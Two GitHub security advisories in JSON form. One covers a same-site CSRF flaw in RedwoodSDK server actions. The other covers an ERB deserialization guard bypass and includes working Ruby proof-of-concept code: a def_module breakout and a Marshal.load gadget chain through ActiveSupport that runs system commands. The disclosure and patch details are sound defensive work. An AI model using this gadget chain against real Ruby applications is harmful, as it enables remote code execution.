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{
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"schema_version": "1.4.0",
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"id": "GHSA-m2m6-cff5-3w7c",
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"modified": "2026-04-24T15:36:52Z",
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"published": "2026-04-24T15:36:52Z",
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"aliases": [],
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"summary": "RedwoodSDK has Same-site CSRF through lack of origin validation in its server actions",
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"details": "### Summary\n\nServer actions in `rwsdk` apply HTTP method enforcement but no origin validation. A request originating from a different origin that the browser treats as same-site can invoke a server action with the victim's session cookie attached.\n\n### Impact\n\nAn attacker who controls any origin the browser considers same-site with the deployed app can induce an authenticated victim's browser to invoke arbitrary server actions. The exposure depends on deployment shape:\n\n- Apps deployed on custom domains (for example `app.example.com`) are exposed whenever the attacker controls any sibling subdomain under the same registrable domain. Plausible vectors include subdomain takeover of stale DNS records pointing at third-party services, cross-site scripting on a sibling application, or content served from a user-content subdomain.\n- Apps deployed on platform-suffix domains on the Public Suffix List (`*.workers.dev`, `*.pages.dev`) are not exposed to the sibling-subdomain vector, because sibling subdomains under those suffixes are treated as cross-site.\n- In local development, `localhost` on any other port is treated as same-site with the app's dev server. A separate process running on the developer's machine can invoke server actions against the dev server.\n\nThe attacker cannot read action responses (`mode: \"no-cors\"` yields opaque responses). Impact is therefore limited to side effects of action invocation: writes, state changes, and any externally observable action the application performs in response.\n\nCross-site requests from unrelated origins (`evil.com` targeting `app.com`) are not affected because `SameSite=Lax` session cookies are not attached by default in that scenario.\n\n### Affected Configurations\n\nApplications using `rwsdk` server actions (`serverAction()` or functions invoked via the RSC action protocol) in combination with cookie-based authentication. `serverQuery()` is not affected because it is designed to be idempotent and is invoked via GET.\n\n### Patch\n\nThe patched release enforces an Origin/Host match for non-GET action requests. Requests whose `Origin` header does not match the request's own origin are rejected with HTTP 403 unless the origin is listed in a new `allowedOrigins` configuration option.\n\nNo application code changes are required for apps that invoke server actions from their own origin. Apps that legitimately invoke server actions from another origin must add those origins to the `allowedOrigins` option on `defineApp`.\n\n### Credits\n\nReported by `@mthx`.",
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"severity": [
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{
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"type": "CVSS_V3",
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"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N"
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}
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],
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"affected": [
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{
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"package": {
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"ecosystem": "npm",
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"name": "rwsdk"
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},
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"ranges": [
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{
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"type": "ECOSYSTEM",
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"events": [
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{
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"introduced": "1.0.0-beta.50"
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},
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{
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"fixed": "1.2.3"
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}
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]
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}
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],
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"database_specific": {
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"last_known_affected_version_range": "<= 1.2.2"
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}
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}
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],
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"references": [
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{
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"type": "WEB",
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"url": "https://github.com/redwoodjs/sdk/security/advisories/GHSA-m2m6-cff5-3w7c"
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},
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{
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"type": "PACKAGE",
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"url": "https://github.com/redwoodjs/sdk"
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}
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],
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"database_specific": {
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"cwe_ids": [
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"CWE-352"
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],
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"severity": "MODERATE",
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"github_reviewed": true,
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"github_reviewed_at": "2026-04-24T15:36:52Z",
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"nvd_published_at": null
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}
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}
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{
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"schema_version": "1.4.0",
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"id": "GHSA-q339-8rmv-2mhv",
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"modified": "2026-04-24T15:36:05Z",
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"published": "2026-04-24T15:36:05Z",
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"aliases": [
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"CVE-2026-41316"
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],
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"summary": "ERB has an @_init deserialization guard bypass via def_module / def_method / def_class",
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"details": "## Summary\n\nRuby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an `@_init` instance variable guard in `ERB#result` and `ERB#run` to prevent code execution when an ERB object is reconstructed via `Marshal.load` (deserialization). However, three other public methods that also evaluate `@src` via `eval()` were not given the same guard:\n\n- `ERB#def_method`\n- `ERB#def_module`\n- `ERB#def_class`\n\nAn attacker who can trigger `Marshal.load` on untrusted data in a Ruby application that has `erb` loaded can use `ERB#def_module` (zero-arg, default parameters) as a code execution sink, bypassing the `@_init` protection entirely.\n\n<details>\n\n## The @_init Guard\n\nIn `ERB#initialize`, the guard is set:\n\n```ruby\n# erb.rb line 838\n@_init = self.class.singleton_class\n```\n\nIn `ERB#result` and `ERB#run`, the guard is checked before `eval(@src)`:\n\n```ruby\n# erb.rb line 1008-1012\ndef result(b=new_toplevel)\n unless @_init.equal?(self.class.singleton_class)\n raise ArgumentError, \"not initialized\"\n end\n eval(@src, b, (@filename || '(erb)'), @lineno)\nend\n```\n\nWhen an ERB object is reconstructed via `Marshal.load`, `@_init` is either `nil` (not set during marshal reconstruction) or an attacker-controlled value. Since `ERB.singleton_class` cannot be marshaled, the attacker cannot set `@_init` to the correct value, and `result`/`run` correctly refuse to execute.\n\n## The Bypass\n\n`ERB#def_method`, `ERB#def_module`, and `ERB#def_class` all reach `eval(@src)` without checking `@_init`:\n\n```ruby\n# erb.rb line 1088-1093\ndef def_method(mod, methodname, fname='(ERB)')\n src = self.src.sub(/^(?!#|$)/) {\"def #{methodname}\\n\"} << \"\\nend\\n\"\n mod.module_eval do\n eval(src, binding, fname, -1) # <-- no @_init check\n end\nend\n\n# erb.rb line 1113-1117\ndef def_module(methodname='erb') # <-- zero-arg call possible\n mod = Module.new\n def_method(mod, methodname, @filename || '(ERB)')\n mod\nend\n\n# erb.rb line 1170-1174\ndef def_class(superklass=Object, methodname='result') # <-- zero-arg call possible\n cls = Class.new(superklass)\n def_method(cls, methodname, @filename || '(ERB)')\n cls\nend\n```\n\n`def_module` and `def_class` accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.\n\n### Method wrapper breakout\n\n`def_method` wraps `@src` in a method definition: `\"def erb\\n\" + @src + \"\\nend\\n\"`. Code inside a method body only executes when the method is called, not when it's defined. However, by setting `@src` to begin with `end\\n`, the attacker closes the method definition early. Code after the first `end` executes immediately at `module_eval` time:\n\n```ruby\n# Attacker sets @src = \"end\\nsystem('id')\\ndef x\"\n# After def_method transformation, module_eval receives:\n#\n# def erb\n# end\n# system('id') <- executes at eval time\n# def x\n# end\n```\n\n---\n\n## Proof of Concept\n\n### Minimal (ERB only)\n\n```ruby\nrequire 'erb'\n\nerb = ERB.allocate\nerb.instance_variable_set(:@src, \"end\\nsystem('id')\\ndef x\")\nerb.instance_variable_set(:@lineno, 0)\n\n# ERB#result correctly blocks this:\nbegin\n erb.result\nrescue ArgumentError => e\n puts \"result: #{e.message} (blocked by @_init -- correct)\"\nend\n\n# ERB#def_module does NOT block this -- executes system('id'):\nerb.def_module\n# Output: uid=0(root) gid=0(root) groups=0(root)\n```\n\n### Marshal deserialization (ERB + ActiveSupport)\n\nWhen combined with `ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy` as a method dispatch gadget, this achieves RCE via `Marshal.load`:\n\n```ruby\nrequire 'active_support'\nrequire 'active_support/deprecation'\nrequire 'active_support/deprecation/proxy_wrappers'\nrequire 'erb'\n\n# --- Build payload (replace proxy class for marshaling) ---\nreal_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\nActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)\nclass ActiveSupport::Deprecation\n class DeprecatedInstanceVariableProxy\n def initialize(h)\n h.each { |k, v| instance_variable_set(k, v) }\n end\n end\nend\n\nerb = ERB.allocate\nerb.instance_variable_set(:@src, \"end\\nsystem('id')\\ndef x\")\nerb.instance_variable_set(:@lineno, 0)\nerb.instance_variable_set(:@filename, nil)\n\nproxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({\n :@instance => erb,\n :@method => :def_module,\n :@var => \"@x\",\n :@deprecator => Kernel\n})\n\nmarshaled = Marshal.dump({proxy => 0})\n\n# --- Restore real class and trigger ---\nActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)\nActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)\n\n# This triggers RCE:\nMarshal.load(marshaled)\n# Output: uid=0(root) gid=0(root) groups=0(root)\n```\n\n**Chain:**\n1. `Marshal.load` reconstructs a Hash with a `DeprecatedInstanceVariableProxy` as key\n2. Hash key insertion calls `.hash` on the proxy\n3. `.hash` is undefined -> `method_missing(:hash)` -> dispatches to `ERB#def_module`\n4. `def_module` -> `def_method` -> `module_eval(eval(src))` -> breakout -> `system('id')`\n\n**Verified on:** Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1\n\n\n</details>\n\n## Impact\n### Scope\n\nAny Ruby application that calls `Marshal.load` on untrusted data AND has both `erb` and `activesupport` loaded is vulnerable to arbitrary code execution. This includes:\n\n- **Ruby on Rails applications that import untrusted serialized data** -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC\n- **Ruby tools that import untrusted serialized data** -- any tool using `Marshal.load` for caching, data import, or IPC\n- **Legacy Rails apps** (pre-7.0) that still use Marshal for cookie session serialization\n\n### Severity justification\n\nThe `@_init` guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The `def_module` bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.\n\nThis bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.\n\n<details>\n\n### Gadget chain history\n\nSix generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:\n\n| Year | Chain | Mitigated in |\n|------|-------|-------------|\n| 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 |\n| 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 |\n| 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 |\n| 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches |\n| 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 |\n| **2026** | **ERB#def_module @_init bypass** | **ERB 6.0.4** |\n\n</details>\n\n## Patches\n\nThe problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.\n\n* ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4\n\n<details>\n\nAdd the `@_init` check to `def_method`. Since `def_module` and `def_class` both delegate to `def_method`, this single change covers all three bypass paths:\n\n```ruby\ndef def_method(mod, methodname, fname='(ERB)')\n unless @_init.equal?(self.class.singleton_class)\n raise ArgumentError, \"not initialized\"\n end\n src = self.src.sub(/^(?!#|$)/) {\"def #{methodname}\\n\"} << \"\\nend\\n\"\n mod.module_eval do\n eval(src, binding, fname, -1)\n end\nend\n```\n\n</details>\n\n-----",
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"severity": [
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{
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"type": "CVSS_V3",
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"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
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}
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],
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"affected": [
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{
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"package": {
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"ecosystem": "RubyGems",
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"name": "erb"
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},
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"ranges": [
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{
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"type": "ECOSYSTEM",
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"events": [
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{
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"introduced": "0"
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},
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{
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"fixed": "4.0.3.1"
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}
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]
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}
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]
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},
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{
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"package": {
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"ecosystem": "RubyGems",
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"name": "erb"
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},
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"ranges": [
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{
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"type": "ECOSYSTEM",
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"events": [
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{
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"introduced": "4.0.4"
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},
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{
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"fixed": "4.0.4.1"
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}
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]
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}
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],
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"versions": [
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"4.0.4"
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]
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},
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{
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"package": {
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"ecosystem": "RubyGems",
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"name": "erb"
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},
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"ranges": [
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{
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"type": "ECOSYSTEM",
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"events": [
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{
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"introduced": "5.0.0"
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},
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{
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"fixed": "6.0.1.1"
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}
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]
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}
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]
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},
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{
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"package": {
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"ecosystem": "RubyGems",
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"name": "erb"
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},
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"ranges": [
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{
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"type": "ECOSYSTEM",
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"events": [
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{
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"introduced": "6.0.2"
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},
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{
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"fixed": "6.0.4"
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}
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]
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}
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]
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}
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],
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"references": [
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{
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"type": "WEB",
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"url": "https://github.com/ruby/erb/security/advisories/GHSA-q339-8rmv-2mhv"
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},
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{
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"type": "ADVISORY",
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41316"
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},
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{
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"type": "PACKAGE",
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"url": "https://github.com/ruby/erb"
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}
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],
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"database_specific": {
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"cwe_ids": [
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"CWE-693"
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],
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"severity": "HIGH",
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"github_reviewed": true,
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"github_reviewed_at": "2026-04-24T15:36:05Z",
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"nvd_published_at": "2026-04-24T03:16:11Z"
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}
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}

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